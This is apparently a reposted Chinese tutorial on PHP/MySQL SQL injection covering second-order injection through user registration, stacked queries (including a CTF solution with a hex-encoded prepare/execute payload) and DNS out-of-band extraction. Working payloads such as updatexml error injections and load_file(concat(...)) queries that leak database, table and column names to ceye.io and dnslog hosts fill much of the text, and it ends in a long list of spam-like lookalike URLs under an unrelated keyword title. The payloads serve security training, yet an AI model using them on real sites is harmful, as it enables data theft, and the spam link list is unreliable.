腾讯云网站建设流程,wordpress合并,软路由做网站,多媒体网站开发实验报告045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
#知识点#xff1a; 1、PHP-MYSQL-SQL注入-二次注入利用条件 2、PHP-MYSQL-SQL注入-堆叠注入利用条件 3、PHP-MYSQL-SQL注入-带外注入利用条件 演示案例#xff1a…045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件
#知识点 1、PHP-MYSQL-SQL注入-二次注入利用条件 2、PHP-MYSQL-SQL注入-堆叠注入利用条件 3、PHP-MYSQL-SQL注入-带外注入利用条件 演示案例 ➢PHP-MYSQL-二次注入-DEMO74CMS ➢PHP-MYSQL-堆叠注入-DEMOCTF强网 ➢PHP-MYSQL-带外注入-DEMODNSLOG #PHP-MYSQL-二次注入-DEMO74CMS
黑盒思路分析功能有添加后对数据操作的地方功能点很难测出sql语句的符号影响转义不能直接看出容错处理代码中是否有找到在哪里触发执行置入的sql语句 白盒思路insert后进入select或update的功能的代码块源代码去审 注入条件插入时有转义函数或配置后续有利用插入的数据先插入后利用
1、DEMO-用户注册登录修改密码使用报错回显 注册新用户时将注入的内容包含在注册的用户名后admin and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#** 成功注入并查看数据库数据库中也存放了响应的注入语句 正常登录登陆后随便输入旧密码和新密码点击修改后发现注入成功错误回显版本号
需要注意的条件实现二次注入源码中有对应的转义magic_quotes_gpc或使用转义函数addslashes 在注册用户逻辑中首先使用addslashes 转义函数解析POST请求中的username 在后方插入新用户记录的时候执行的SQL语句则会变为INSERT INTO users (username,password) VALUES (admin\ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#,123456) 给username中的单引号添加转义字符\ 在添加进数据库之后数据库会自动删除转义字符/方便后面执行修改密码的时候查询对应数据执行二次注入 如果不使用转义函数则会出现报错 报错的原因是sql注入语句中提前闭合了单引号造成后面的密码值无法对应到表中的password列 addslashes 是一个 PHP 函数用于对字符串中的特殊字符进行转义返回在预定义的字符前添加反斜杠的字符串。 string addslashes ( string $str )
//参数$str 是要进行转义的字符串。
//返回值返回转义后的字符串。 返回在预定义的字符前添加反斜杠的字符串。 预定义字符是 单引号双引号反斜杠\零 magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。 具体作用如下 自动转义 当 magic_quotes_gpc 启用时PHP 会在从 GET、POST 和 COOKIE 中获取的数据中自动添加转义斜杠使特殊字符成为安全的字符串。例如单引号 被转义为 \\。 示例 // 假设 magic_quotes_gpc 已启用$user_input Its a sample input;
// $user_input 变量包含 It\\s a sample input// 在早期的 PHP 版本中这样的输入在插入到数据库时会被自动转义
2、CMS-74CMS个人中心简历功能
配置并打开网址前端对专业名称有长度限制选中打开检查修改maxlength120”值在学校名称和专业名称注入aa,fullnameuser()#分析源码 #PHP-MYSQL-堆叠注入-DEMOCTF强网
堆叠注入触发的条件很苛刻因为堆叠注入原理就是通过结束符同时执行多条sql语句 例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行. 支持堆叠数据库MYSQL MSSQL Postgresql等 首先在数据库操作软件中Navicat Premium 16使用SELECT *FROM news WHERE id1;CREATE TABLE xxx(test VARCHAR(255));语句 # **这是一个选择数据的查询从名为 news 的表中选择所有列其中 id 列的值为 1
# 创建一个名为 xxx 的表该表包含一个名为 test 的 VARCHAR(255) 类型的列**
SELECT *FROM news WHERE id1;CREATE TABLE xxx(test VARCHAR(255));由于sql语句在Navicat Premium 16有特定解析支持两个封号的语句拼接在一起执行 但是当该语句通过网址注入由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQLhttp://192.168.137.1:84/sqli/new.php?**id1;CREATE TABLE xxx(test VARCHAR(255);** 所以不能识别执行会报错 但是当php采用mysqli_multi_query函数接收并执行sql语句的时候 可以识别执行 1.目标存在SQL注入漏洞
2.目标未对;号进行过滤
目标系统未对输入中的分号;进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句因此如果应用程序未正确过滤这些字符攻击者可以利用这一点来注入多条SQL语句。
3.目标中间层查询数据库信息时可同时执行多条SQL语句
在目标系统的中间层中存在一种机制或函数允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时
2019强网杯-随便注CTF题型 ;show databases; ;show tables; ;show columns from 1919810931114514; ;select flag from 1919810931114514; ;SeT a0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from a;execute execsql; 1、目标存在sql注入漏洞 2、目标未对;号进行过滤 3、目标中间层查询数据库信息时可同时执行多条sql语句 ;show databases; 这似乎是尝试显示数据库 ;show tables; 类似于第一个似乎是尝试显示表。 ;show columns from 1919810931114514; 另一次尝试从具有特定名称的表中显示列。 ;select flag from 1919810931114514; 类似于前一个试图从表中选择名为’flag’的列。确保表和列存在。 由于提示不能使用select等所以使用动态SQL语句 将想要执行的语句转换为Hex16 进制 ;SeT a0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from a;execute execsql; execsql from a;execute execsql; 在第一个步骤中使用**execsql语句从用户变量a中执行动态SQL。a包含一个十六进制字符串可能代表一个SQL查询语句。**在第二个步骤中使用**execute语句执行之前准备好的动态SQL该SQL语句由第一步中的execsql**生成。 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心因为它可能存在安全风险。确保**a**的内容是安全且经过正确清理的。
#PHP-MYSQL-带外注入-DEMODNSLOG
产生原因有部分注入点是没有回显的所有读取也是没回显的采用带外的形式回显数据
0.注入条件 ROOT高权限且支持load_file() **secure-file-priv**设置→默认关闭必须添加到MYsql的配置文件my.ini中 G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini* secure_file_priv 是 MySQL 数据库中的一个系统变量用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性防止用户滥用这些语句导致的文件系统访问。 如果设置了这个变量MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。如果没有设置MySQL 将默认使用空值表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。 例如如果 secure_file_priv 被设置为 f:\\那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时只允许读写位于 f:\\ 目录下的文件。 如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6 1.使用平台
http://ceye.io适用dnslog打不开的场景下只需要记住每次登录分配的identifier即可
http://www.dnslog.cn 2.带外应用场景
解决**不回显反向连接SQL注入命令执行SSRF等** SQL注入 select load_file(concat(\\\\,(select database()),.7logee.dnslog.cn\\aa));
**and (select load_file(concat(//,(select database()),.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc)))**查询当前数据库 id1 and load_file(concat(\\\\,database(),.[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt))查询其他数据库 id1 and load_file(concat(\\\\,(select schema_name from information_schema.schemata limit 0,1),.[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt))由于该DNS记录只能回显一个字段所以因该使用limit第一个参数是查询起始位置第二个参数是查询个数
**limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名**
limit 2,1 查询第三个数据库名查询版本号 id1 and load_file(concat(\\\\,version(),.[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt))查询当前数据库dome01中第一个表名 id1 and load_file(concat(\\\\,(select table_name from information_schema.tables where table_schemadome01 limit 0,1 ),.[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt))由于该DNS记录只能回显一个字段所以因该使用limit第一个参数是查询起始位置第二个参数是查询个数
**limit 0,1 查询第一个表名
limit 1,1 查询第二个表名**
limit 2,1 查询第三个表名查询security数据库emails表下第一个列名
id1 and load_file(concat(\\\\,(select column_name from information_schema.columns where table_schemasecurity and table_nameemails limit 0,1),.dbuh8a.ceye.io\\xxx.txt))查询字段值 数据库名为security 表名emails 列名id id1 and load_file(concat(\\\\,(select id from security.emails limit 0,1),.dbuh8a.ceye.io\\xxx.txt))#CMS-74CMS网址配置 文章转载自: http://www.morning.nuobeiergw.cn.gov.cn.nuobeiergw.cn http://www.morning.mqxrx.cn.gov.cn.mqxrx.cn http://www.morning.rhdln.cn.gov.cn.rhdln.cn http://www.morning.lpmlx.cn.gov.cn.lpmlx.cn http://www.morning.mtsck.cn.gov.cn.mtsck.cn http://www.morning.tsdjj.cn.gov.cn.tsdjj.cn http://www.morning.bqts.cn.gov.cn.bqts.cn http://www.morning.wfjyn.cn.gov.cn.wfjyn.cn http://www.morning.ygrkg.cn.gov.cn.ygrkg.cn http://www.morning.pqkyx.cn.gov.cn.pqkyx.cn http://www.morning.wfjyn.cn.gov.cn.wfjyn.cn http://www.morning.wynqg.cn.gov.cn.wynqg.cn http://www.morning.ylxgw.cn.gov.cn.ylxgw.cn http://www.morning.pmtky.cn.gov.cn.pmtky.cn http://www.morning.gjxr.cn.gov.cn.gjxr.cn http://www.morning.zdsqb.cn.gov.cn.zdsqb.cn http://www.morning.lgtcg.cn.gov.cn.lgtcg.cn http://www.morning.jbmbj.cn.gov.cn.jbmbj.cn http://www.morning.jfbgn.cn.gov.cn.jfbgn.cn http://www.morning.xqffq.cn.gov.cn.xqffq.cn http://www.morning.tslxr.cn.gov.cn.tslxr.cn http://www.morning.zlces.com.gov.cn.zlces.com http://www.morning.yktr.cn.gov.cn.yktr.cn http://www.morning.lkjzz.cn.gov.cn.lkjzz.cn http://www.morning.mmjyk.cn.gov.cn.mmjyk.cn http://www.morning.kwrzg.cn.gov.cn.kwrzg.cn http://www.morning.qrsm.cn.gov.cn.qrsm.cn http://www.morning.wrbf.cn.gov.cn.wrbf.cn http://www.morning.zhqfn.cn.gov.cn.zhqfn.cn http://www.morning.qqnh.cn.gov.cn.qqnh.cn http://www.morning.knngw.cn.gov.cn.knngw.cn http://www.morning.hyhqd.cn.gov.cn.hyhqd.cn http://www.morning.skbkq.cn.gov.cn.skbkq.cn http://www.morning.ylklr.cn.gov.cn.ylklr.cn http://www.morning.hjssh.cn.gov.cn.hjssh.cn http://www.morning.jcxyq.cn.gov.cn.jcxyq.cn http://www.morning.hngmg.cn.gov.cn.hngmg.cn http://www.morning.sdamsm.com.gov.cn.sdamsm.com http://www.morning.lkfsk.cn.gov.cn.lkfsk.cn http://www.morning.nzmw.cn.gov.cn.nzmw.cn http://www.morning.mdjzydr.com.gov.cn.mdjzydr.com http://www.morning.srbsr.cn.gov.cn.srbsr.cn http://www.morning.gmysq.cn.gov.cn.gmysq.cn http://www.morning.thwhn.cn.gov.cn.thwhn.cn http://www.morning.krzrg.cn.gov.cn.krzrg.cn http://www.morning.rcww.cn.gov.cn.rcww.cn http://www.morning.mwmxs.cn.gov.cn.mwmxs.cn http://www.morning.zgpgl.cn.gov.cn.zgpgl.cn http://www.morning.bqmsm.cn.gov.cn.bqmsm.cn http://www.morning.ljglc.cn.gov.cn.ljglc.cn http://www.morning.nbmyg.cn.gov.cn.nbmyg.cn http://www.morning.qkbwd.cn.gov.cn.qkbwd.cn http://www.morning.fhntj.cn.gov.cn.fhntj.cn http://www.morning.xxlz.cn.gov.cn.xxlz.cn http://www.morning.hcwlq.cn.gov.cn.hcwlq.cn http://www.morning.rqbr.cn.gov.cn.rqbr.cn http://www.morning.tqsnd.cn.gov.cn.tqsnd.cn http://www.morning.hxljc.cn.gov.cn.hxljc.cn http://www.morning.jgcrr.cn.gov.cn.jgcrr.cn http://www.morning.bplqh.cn.gov.cn.bplqh.cn http://www.morning.kzhgy.cn.gov.cn.kzhgy.cn http://www.morning.qtzqk.cn.gov.cn.qtzqk.cn http://www.morning.wjlrw.cn.gov.cn.wjlrw.cn http://www.morning.pctsq.cn.gov.cn.pctsq.cn http://www.morning.ndmbz.cn.gov.cn.ndmbz.cn http://www.morning.cnxpm.cn.gov.cn.cnxpm.cn http://www.morning.txzqf.cn.gov.cn.txzqf.cn http://www.morning.bksbx.cn.gov.cn.bksbx.cn http://www.morning.ydxwj.cn.gov.cn.ydxwj.cn http://www.morning.cmrfl.cn.gov.cn.cmrfl.cn http://www.morning.prmyx.cn.gov.cn.prmyx.cn http://www.morning.wttzp.cn.gov.cn.wttzp.cn http://www.morning.xrpjr.cn.gov.cn.xrpjr.cn http://www.morning.wfdlz.cn.gov.cn.wfdlz.cn http://www.morning.tqsmg.cn.gov.cn.tqsmg.cn http://www.morning.trjdr.cn.gov.cn.trjdr.cn http://www.morning.zlnkq.cn.gov.cn.zlnkq.cn http://www.morning.mghgl.cn.gov.cn.mghgl.cn http://www.morning.nfpct.cn.gov.cn.nfpct.cn http://www.morning.bhpjc.cn.gov.cn.bhpjc.cn